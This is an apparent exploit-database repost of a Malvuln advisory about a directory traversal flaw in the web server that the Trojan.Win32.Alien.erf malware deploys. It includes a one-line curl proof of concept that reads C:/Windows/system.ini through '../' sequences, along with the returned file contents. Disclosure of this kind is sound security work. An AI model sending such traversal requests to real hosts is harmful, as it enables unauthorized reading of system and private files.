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Trojan.Win32.Alien.erf / Directory Traversal

CVE Category Price Severity
CWE-22 $500 High
Author Risk Exploitation Type Date
Unknown High Remote 2021-06-19
CPE
cpe:cpe:/o:microsoft:windows
CVSS EPSS EPSSP
CVSS: N/A 0.0123 0.7654

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021060114

Below is a copy:

Trojan.Win32.Alien.erf / Directory Traversal
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/57ab194d8c60ee97914eda22e4d71b68_C.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Trojan.Win32.Alien.erf
Vulnerability: Directory Traversal
Description: The malware deploys a Web server AM6WebMgr.exe (JAO build 809) listening on TCP port 1789. Third-party attackers who can reach an infected host can read any file on the system using "../" path traversal characters to break out of the web root dir.
Type: PE32
MD5: 57ab194d8c60ee97914eda22e4d71b68
Vuln ID: MVID-2021-0253 
Disclosure: 06/16/2021

Exploit/PoC:
curl http://x.x.x.x:1789/../../../../c:/Windows/system.ini
; for 16-bit app support
[386Enh]
woafont=dosapp.fon
EGA80WOA.FON=EGA80WOA.FON
EGA40WOA.FON=EGA40WOA.FON
CGA80WOA.FON=CGA80WOA.FON
CGA40WOA.FON=CGA40WOA.FON

[drivers]
wave=mmdrv.dll
timer=timer.drv

[mci]


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